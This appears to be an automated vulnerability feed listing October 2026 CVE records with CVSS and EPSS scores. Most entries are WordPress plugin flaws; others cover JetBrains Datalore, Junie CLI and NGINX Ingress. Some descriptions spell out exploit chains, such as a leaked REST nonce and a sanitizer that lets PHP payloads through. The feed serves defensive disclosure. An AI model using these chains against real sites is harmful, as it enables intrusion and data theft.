The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-15090).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-15090&date=2026-10-25).
Sources:
NVD CVE-2026-15090: https://nvd.nist.gov/vuln/detail/CVE-2026-15090
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-15090&date=2026-10-25
The Link Library plugin for WordPress is vulnerable to time-based SQL Injection via the 'link_url' parameter in all versions up to, and including, 7.9.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In JetBrains Datalore before 2026.2.1 unauthenticated path traversal via the report blob endpoint allowed reading arbitrary files
https://kevwire.com/record/CVE-2026-111093
In JetBrains Datalore before 2026.2.1 unauthenticated path traversal via the report blob endpoint allowed reading arbitrary files (Oct 15, 2026).
In JetBrains Datalore before 2026.2.1 unauthenticated path traversal via the report blob endpoint allowed reading arbitrary files
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111093).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111093&date=2026-10-25).
Sources:
NVD CVE-2026-111093: https://nvd.nist.gov/vuln/detail/CVE-2026-111093
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111093&date=2026-10-25
In JetBrains Datalore before 2026.2.1 unauthenticated path traversal via the report blob endpoint allowed reading arbitrary files

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration
https://kevwire.com/record/CVE-2026-111091
In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration (Oct 15, 2026).
In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111091).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111091&date=2026-10-25).
Sources:
NVD CVE-2026-111091: https://nvd.nist.gov/vuln/detail/CVE-2026-111091
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111091&date=2026-10-25
In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 10.3.1 via...
https://kevwire.com/record/CVE-2026-110284
The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 10.3.1 via... (Oct 14, 2026).
The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 10.3.1 via attacker-controlled attributes of the [lifterlms_checkout] shortcode. This is due to the llms_get_template() helper performing extract() on the shortcode attribute array before resolving the template path, which allows the attacker-supplied 'template_name' and 'default_path' shortcode attributes to overwrite the function's local parameters and ultimately control the path passed to a PHP include. This makes it possible for authenticated attackers, with Instructor-level access and above, to include and execute arbitrary files on the server, that can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where files with safe extensions containing attacker-controlled content can be uploaded and included.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110284).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110284&date=2026-10-25).
Sources:
NVD CVE-2026-110284: https://nvd.nist.gov/vuln/detail/CVE-2026-110284
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110284&date=2026-10-25
The LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 10.3.1 via attacker-controlled attributes of the [lifterlms_checkout] shortcode. This is due to the llms_get_template() helper performing extract() on the shortcode attribute array before resolving the template path, which allows the attacker-supplied 'template_name' and 'default_path' shortcode attributes to overwrite the function's local parameters and ultimately control the path passed to a PHP include. This makes it possible for authenticated attackers, with Instructor-level access and above, to include and execute arbitrary files on the server, that can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where files with safe extensions containing attacker-controlled content can be uploaded and included.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Snazzy Social Media Feed plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.5 via the (file scope) function.
https://kevwire.com/record/CVE-2026-110002
The Snazzy Social Media Feed plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.5 via the (file scope) function. (Oct 14, 2026).
The Snazzy Social Media Feed plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.5 via the (file scope) function. This is due to missing WordPress bootstrap, authentication, capability, and nonce checks in the standalone save-to-cache.php script, combined with insufficient sanitization of the pluginURL parameter before it is written to a web-executable PHP file. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The save-to-cache.php script is directly reachable without loading WordPress; FILTER_SANITIZE_URL — the only filter applied to the pluginURL value — preserves the characters required to craft a valid PHP payload, which is then written verbatim into cached-content/cached-feed.php and immediately executable via a single GET request.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110002).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110002&date=2026-10-25).
Sources:
NVD CVE-2026-110002: https://nvd.nist.gov/vuln/detail/CVE-2026-110002
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110002&date=2026-10-25
The Snazzy Social Media Feed plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.5 via the (file scope) function. This is due to missing WordPress bootstrap, authentication, capability, and nonce checks in the standalone save-to-cache.php script, combined with insufficient sanitization of the pluginURL parameter before it is written to a web-executable PHP file. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. The save-to-cache.php script is directly reachable without loading WordPress; FILTER_SANITIZE_URL — the only filter applied to the pluginURL value — preserves the characters required to craft a valid PHP payload, which is then written verbatim into cached-content/cached-feed.php and immediately executable via a single GET request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including,...
https://kevwire.com/record/CVE-2026-108587
The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including,... (Oct 15, 2026).
The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.34.10 via the compressCustom function. This is due to missing file type validation and extension filtering on the page_id parameter, combined with a world-readable leaked nonce that bypasses authentication checks. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. This exploit chain requires obtaining the plugin's REST nonce (tenwebio_rest), which is automatically serialized to a world-readable file under wp-content/uploads/ whenever a bulk optimisation batch pauses; because the nonce is generated in a cron/loopback context with a user ID of 0, it is valid for unauthenticated visitors.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108587).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108587&date=2026-10-25).
Sources:
NVD CVE-2026-108587: https://nvd.nist.gov/vuln/detail/CVE-2026-108587
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108587&date=2026-10-25
The 10Web Booster – Website speed optimization, Cache & Page Speed optimizer plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.34.10 via the compressCustom function. This is due to missing file type validation and extension filtering on the page_id parameter, combined with a world-readable leaked nonce that bypasses authentication checks. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. This exploit chain requires obtaining the plugin's REST nonce (tenwebio_rest), which is automatically serialized to a world-readable file under wp-content/uploads/ whenever a bulk optimisation batch pauses; because the nonce is generated in a cron/loopback context with a user ID of 0, it is valid for unauthenticated visitors.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Best Payments Plugin for WP wp-payment-form allows Stored...
https://kevwire.com/record/CVE-2026-108484
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Best Payments Plugin for WP wp-payment-form allows Stored... (Oct 14, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Best Payments Plugin for WP wp-payment-form allows Stored XSS.This issue affects Best Payments Plugin for WP: from n/a through 4.6.27.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108484).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108484&date=2026-10-25).
Sources:
NVD CVE-2026-108484: https://nvd.nist.gov/vuln/detail/CVE-2026-108484
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108484&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPManageNinja Best Payments Plugin for WP wp-payment-form allows Stored XSS.This issue affects Best Payments Plugin for WP: from n/a through 4.6.27.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hippooo Hippoo Mobile App for WooCommerce hippoo allows Reflected XSS.This...
https://kevwire.com/record/CVE-2026-108483
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hippooo Hippoo Mobile App for WooCommerce hippoo allows Reflected XSS.This... (Oct 14, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hippooo Hippoo Mobile App for WooCommerce hippoo allows Reflected XSS.This issue affects Hippoo Mobile App for WooCommerce: from n/a through 1.12.0.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108483).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108483&date=2026-10-25).
Sources:
NVD CVE-2026-108483: https://nvd.nist.gov/vuln/detail/CVE-2026-108483
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108483&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in hippooo Hippoo Mobile App for WooCommerce hippoo allows Reflected XSS.This issue affects Hippoo Mobile App for WooCommerce: from n/a through 1.12.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization vulnerability in Skydropx Skydropx skydropx allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Skydropx: from n/a...
https://kevwire.com/record/CVE-2026-108480
Missing Authorization vulnerability in Skydropx Skydropx skydropx allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Skydropx: from n/a... (Oct 14, 2026).
Missing Authorization vulnerability in Skydropx Skydropx skydropx allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Skydropx: from n/a through 2.1.4.
CVSS 8.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108480).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108480&date=2026-10-25).
Sources:
NVD CVE-2026-108480: https://nvd.nist.gov/vuln/detail/CVE-2026-108480
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108480&date=2026-10-25
Missing Authorization vulnerability in Skydropx Skydropx skydropx allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Skydropx: from n/a through 2.1.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in itthinx Affiliates affiliates allows Object Injection.This issue affects Affiliates: from n/a through 7.0.1.
https://kevwire.com/record/CVE-2026-108291
Deserialization of Untrusted Data vulnerability in itthinx Affiliates affiliates allows Object Injection.This issue affects Affiliates: from n/a through 7.0.1. (Oct 14, 2026).
Deserialization of Untrusted Data vulnerability in itthinx Affiliates affiliates allows Object Injection.This issue affects Affiliates: from n/a through 7.0.1.
CVSS 9.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108291).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108291&date=2026-10-25).
Sources:
NVD CVE-2026-108291: https://nvd.nist.gov/vuln/detail/CVE-2026-108291
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108291&date=2026-10-25
Deserialization of Untrusted Data vulnerability in itthinx Affiliates affiliates allows Object Injection.This issue affects Affiliates: from n/a through 7.0.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows DOM-Based XSS.This issue affects...
https://kevwire.com/record/CVE-2026-107870
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows DOM-Based XSS.This issue affects... (Oct 14, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows DOM-Based XSS.This issue affects JetEngine: from n/a through 3.8.16.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107870).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107870&date=2026-10-25).
Sources:
NVD CVE-2026-107870: https://nvd.nist.gov/vuln/detail/CVE-2026-107870
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107870&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetEngine jet-engine allows DOM-Based XSS.This issue affects JetEngine: from n/a through 3.8.16.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetProductTables jet-product-tables allows Reflected XSS.This...
https://kevwire.com/record/CVE-2026-107867
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetProductTables jet-product-tables allows Reflected XSS.This... (Oct 14, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetProductTables jet-product-tables allows Reflected XSS.This issue affects JetProductTables: from n/a through 1.2.4.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107867).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107867&date=2026-10-25).
Sources:
NVD CVE-2026-107867: https://nvd.nist.gov/vuln/detail/CVE-2026-107867
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107867&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetProductTables jet-product-tables allows Reflected XSS.This issue affects JetProductTables: from n/a through 1.2.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_name' parameter in all versions up to, and including, 2.4.3 due to insufficient...
https://kevwire.com/record/CVE-2026-107751
The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_name' parameter in all versions up to, and including, 2.4.3 due to insufficient... (Oct 14, 2026).
The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_name' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The save-time sanitizer mbw_htmlspecialchars2() is ineffective against this vector because the exploit payload relies solely on unquoted HTML attribute syntax using only spaces, alphanumerics, and characters such as =, parentheses, and dots — none of which are escaped.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107751).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107751&date=2026-10-25).
Sources:
NVD CVE-2026-107751: https://nvd.nist.gov/vuln/detail/CVE-2026-107751
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107751&date=2026-10-25
The Mang Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'user_name' parameter in all versions up to, and including, 2.4.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The save-time sanitizer mbw_htmlspecialchars2() is ineffective against this vector because the exploit payload relies solely on unquoted HTML attribute syntax using only spaces, alphanumerics, and characters such as =, parentheses, and dots — none of which are escaped.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Record of Consent Extension for Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'uid' parameter in all versions up to, and including, 2.5...
https://kevwire.com/record/CVE-2026-107631
The Record of Consent Extension for Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'uid' parameter in all versions up to, and including, 2.5... (Oct 14, 2026).
The Record of Consent Extension for Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'uid' parameter in all versions up to, and including, 2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because the enforcing nonce is emitted via wp_localize_script on wp_enqueue_scripts and is therefore readable by any unauthenticated frontend visitor, and no capability or role check gates the write path.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107631).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107631&date=2026-10-25).
Sources:
NVD CVE-2026-107631: https://nvd.nist.gov/vuln/detail/CVE-2026-107631
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107631&date=2026-10-25
The Record of Consent Extension for Complianz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'uid' parameter in all versions up to, and including, 2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because the enforcing nonce is emitted via wp_localize_script on wp_enqueue_scripts and is therefore readable by any unauthenticated frontend visitor, and no capability or role check gates the write path.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Session Fixation vulnerability in VideoWhisper.com Broadcast Live Video videowhisper-live-streaming-integration allows Session Hijacking.This issue affects Broadcast Live Video:...
https://kevwire.com/record/CVE-2026-107421
Session Fixation vulnerability in VideoWhisper.com Broadcast Live Video videowhisper-live-streaming-integration allows Session Hijacking.This issue affects Broadcast Live Video:... (Oct 14, 2026).
Session Fixation vulnerability in VideoWhisper.com Broadcast Live Video videowhisper-live-streaming-integration allows Session Hijacking.This issue affects Broadcast Live Video: from n/a through 7.3.2.
CVSS 7.3 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107421).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107421&date=2026-10-25).
Sources:
NVD CVE-2026-107421: https://nvd.nist.gov/vuln/detail/CVE-2026-107421
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107421&date=2026-10-25
Session Fixation vulnerability in VideoWhisper.com Broadcast Live Video videowhisper-live-streaming-integration allows Session Hijacking.This issue affects Broadcast Live Video: from n/a through 7.3.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Reflected XSS.This issue affects...
https://kevwire.com/record/CVE-2026-105874
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Reflected XSS.This issue affects... (Oct 14, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Reflected XSS.This issue affects SureCart: from n/a through 4.9.3.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105874).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105874&date=2026-10-25).
Sources:
NVD CVE-2026-105874: https://nvd.nist.gov/vuln/detail/CVE-2026-105874
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105874&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force SureCart surecart allows Reflected XSS.This issue affects SureCart: from n/a through 4.9.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Description
NGINX Ingress Controller has a vulnerability when implementing an externalAuth policy for ingress. NGINX Ingress Controller may mishandle the HTTP response from an...
https://kevwire.com/record/CVE-2026-104939
Description
NGINX Ingress Controller has a vulnerability when implementing an externalAuth policy for ingress. NGINX Ingress Controller may mishandle the HTTP response from an... (Oct 14, 2026).
Description
NGINX Ingress Controller has a vulnerability when implementing an externalAuth policy for ingress. NGINX Ingress Controller may mishandle the HTTP response from an OAuth IdP and allow an attacker to acquire unauthenticated access to protected paths before the proper external authentication can happen.



Impact
This vulnerability may allow remote attackers 

unauthenticated

 access to protected 

paths. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104939).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104939&date=2026-10-25).
Sources:
NVD CVE-2026-104939: https://nvd.nist.gov/vuln/detail/CVE-2026-104939
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104939&date=2026-10-25
Description
NGINX Ingress Controller has a vulnerability when implementing an externalAuth policy for ingress. NGINX Ingress Controller may mishandle the HTTP response from an OAuth IdP and allow an attacker to acquire unauthenticated access to protected paths before the proper external authentication can happen.



Impact
This vulnerability may allow remote attackers 

unauthenticated

 access to protected 

paths. There is no control plane exposure; this is a data plane issue only.




Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The AGE-GATE plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0 via the 'width (and height)' parameter parameter.
https://kevwire.com/record/CVE-2026-104800
The AGE-GATE plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0 via the 'width (and height)' parameter parameter. (Oct 14, 2026).
